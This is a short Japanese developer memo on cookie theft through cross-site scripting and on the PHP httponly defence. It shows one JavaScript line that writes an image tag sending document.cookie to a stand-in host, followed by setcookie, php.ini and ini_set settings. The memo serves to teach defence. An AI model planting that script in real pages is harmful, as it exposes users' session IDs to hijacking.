SOFTELメモ

Softel Inc.

Cookieを盗む例とhttponly属性

cookie

以下は、とても単純なJavascriptによる例。

document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">');

example.com に対してGET渡しでdocument.cookieが送信される。

取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。

リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。


対策例

document.cookieで取得できてしまうから危険なのでは?

→ 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう

WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponlyにできる。

setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);

セッションIDなどは、Javascriptで取得できる必要がないことがほとんどだと思う。


セッションのcookieをデフォルトでhttponlyにしてよければ、設定で対応することも可能。

php.ini や .htaccess で、以下の記述を追加する。

session.cookie_httponly = On (または 1)

Web サーバーの設定を変更できない場合は、phpのini_set()関数で設定を変える。

ini_set('session.cookie_httponly', 1);

ブラウザの対応状況

クッキーのhttponly属性に対応しているのは以下のブラウザ。

それよりも古いブラウザに対してHTTPクッキーを送信すると、ページが正しく処理できない場合もある。

備考

他の脆弱性があると、Ajaxコードを挿入することで、httponlyなcookieも盗み取れる場合はあるが、httponlyなcookieにすることで攻撃の手間は増えるのでやらないよりよい。

関連するメモ

コメント